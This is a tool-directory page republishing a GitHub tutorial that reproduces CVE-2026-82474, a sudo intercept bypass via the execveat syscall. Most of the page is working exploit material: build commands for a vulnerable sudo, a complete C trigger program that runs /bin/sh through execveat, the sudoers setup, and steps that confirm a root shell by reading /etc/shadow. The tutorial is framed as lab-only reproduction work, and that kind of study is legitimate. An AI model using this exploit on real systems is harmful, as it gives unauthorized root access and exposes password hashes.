Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Submit
ToolsExploitsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

FeedsContactPrivacy© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2026-82474 — Reproduction tutorial and trigger program demonstrating CVE-2026-82474, a sudo intercept bypass via execveat that enables local privilege escalation to root. | Kitploit
Tools/GitHubGitHub/paktiko1986/cve-2026-82474
Privilege EscalationVulnerability AnalysisExploitationLearning & EducationLabs & Practice
GitHubpaktiko1986/cve-2026-82474

CVE-2026-82474

Reproduction tutorial and trigger program demonstrating CVE-2026-82474, a sudo intercept bypass via execveat that enables local privilege escalation to root.

View Repository
19 days agoNot yet reviewed
Share

Tutorial: Reproducing CVE-2026-82474 (sudo intercept execveat bypass)

Warning: This tutorial is intended only for laboratory environments that you fully control. Do not use it on systems without authorization. CVE-2026-82474 is a real vulnerability that affects sudo up to 1.9.17p2.

1. Background

CVE-2026-82474 is a vulnerability in sudo that allows users with limited privileges to bypass the intercept policy (ptrace-based) by invoking the execveat syscall. Sudo checks execve but does not check execveat, so programs that should be prohibited can be executed.

  • Affected versions: sudo 1.9.8 through 1.9.17p2
  • Impact: Local privilege escalation and logging bypass
  • Prerequisites: Defaults intercept or Defaults log_subcmds enabled, the user has limited sudo privileges

2. Test Environment

  • Ubuntu 24.04 (or another distribution with a kernel that supports execveat)
  • sudo-1.9.17p2.tar.gz source code
  • gcc, make, libpam0g-dev, libselinux1-dev (optional)

3. Compiling and Installing sudo 1.9.17p2

# Unduh source code
wget https://www.sudo.ws/dist/sudo-1.9.17p2.tar.gz
tar xzvf sudo-1.9.17p2.tar.gz
cd sudo-1.9.17p2

# Konfigurasi dan kompilasi
./configure --prefix=/usr/local
make -j$(nproc)

# Instal (timpa sudo sistem; lakukan di VM/container)
sudo make install

Verification:

/usr/local/bin/sudo --version
# Harus menampilkan: Sudo version 1.9.17p2

Ensure /usr/local/bin is at the front of PATH, or use the absolute path /usr/local/bin/sudo in all subsequent commands.

4. Creating a Test User

sudo useradd -m -s /bin/bash attacker
sudo passwd attacker

5. Writing the Trigger Program syscaller.c

This program opens the target file, then calls execveat with AT_EMPTY_PATH to execute it. Because execveat is not checked by the sudo intercept, the target program runs as root.

#define _GNU_SOURCE
#include <unistd.h>
#include <sys/syscall.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>

int main(int argc, char *argv[]) {
    const char *target = (argc > 1) ? argv[1] : "/bin/sh";

    int fd = open(target, O_RDONLY);
    if (fd < 0) {
        perror("open");
        return 1;
    }

    char *const new_argv[] = { (char *)target, NULL };
    char *const new_envp[] = { NULL };

    long ret = syscall(SYS_execveat, fd, "", new_argv, new_envp, AT_EMPTY_PATH);
    perror("execveat");
    return 1;
}

Compile as the attacker user:

su - attacker
gcc syscaller.c -o syscaller

6. sudoers configuration

Edit with visudo (as root):

sudo visudo

Add:

Defaults intercept
attacker ALL=(root) NOPASSWD: /home/attacker/syscaller

What is allowed is syscaller itself, not /bin/sh. This is the key: sudo allows syscaller to run, but when syscaller calls execveat to execute /bin/sh, sudo does not check execveat.

7. Execution and Verification

As the attacker user:

sudo /home/attacker/syscaller /bin/sh

If successful, the prompt changes from $ to #.

7.1 Verification with Built-in Commands

External commands such as id or whoami will still be blocked by the sudo intercept (because they trigger a regular execve). Use shell built-ins to prove root access:

read line < /etc/shadow && echo "readable"

atau

while IFS= read -r line; do echo "$line"; done < /etc/shadow

Output: readable — proves the shell is running as root and can read /etc/shadow.

Or:

echo $UID
# Output: 0

7.2 Verify That the Intercept Is Still Active

id
# Output: Sorry, user attacker is not allowed to execute '/usr/bin/id' as root...

This proves that the intercept mechanism still works for regular execve, but execveat successfully bypasses it.

8. Summary of Results

StageResult
Compilation of sudo 1.9.17p2✅
Defaults intercept active✅
Whitelist only syscaller✅
execveat triggers /bin/sh✅
Root shell obtained✅
/etc/shadow can be read✅
Regular execve remains blocked✅

9. Notes

  • CVE-2026-82474 does not have a public PoC; syscaller.c above is a verification tool written independently based on the technical principles.
  • The upstream fix was made in commit 71fbe42; sudo versions after 1.9.17p2 are no longer vulnerable.
  • If using bash as the target (/bin/bash), the shell may read additional configuration; however, external commands will still be blocked by intercept.
  • For GitHub documentation, include the kernel and distro versions used, as execveat and ptrace behavior may differ between kernels.

10. References

  • Sudo security advisories: https://www.sudo.ws/security/advisories/
  • CVE-2026-82474: https://nvd.nist.gov/vuln/detail/CVE-2026-82474
  • Commit perbaikan upstream: 71fbe42 (sudo repository)
Download Tool

Most Popular

View all →

Discover the most used tools by our community.

  • 1

    OsintHunter

    letox4/osinthunter

    🎯 The ultimate OSINT toolkit: investigation graph, confidence scoring, alias families, map, timeline and reports. 49 modules, 400+ sites, no API keys required.

    1.0k
  • 2

    ghostlock-app

    yukonga/ghostlock-app

    GhostLock One-Tap Execution App (CVE-2026-43499)

    645
  • 3

    looking-glass

    anonghosty/looking-glass

    CSIRT platform that ingests Shadowserver reports into MongoDB and replays them as interactive maps, analysis, findings, advisories and executive dashboards.

    420
  • 4

    jumpserver

    jumpserver/jumpserver

    JumpServer is an open-source Privileged Access Management (PAM) platform that provides DevOps and IT teams with on-demand and secure access to SSH, RDP, Kubernetes, Database and RemoteApp endpoints through a web browser.

    388
  • 5

    ARTEX

    baarai/artex

    LLM multi-agent autonomous penetration testing platform with planner/worker agents, asset and exploration graphs, MITM traffic recording, and vulnerability retesting.

    330
  • 6

    SafeLine

    chaitin/safeline

    Self-hosted WAF and reverse proxy that filters malicious HTTP traffic, blocks SQL injection, XSS, and bot attacks, with rate limiting and dynamic HTML/JS encryption.

    328

Explore all tools

Browse our collection of tools

View all tools →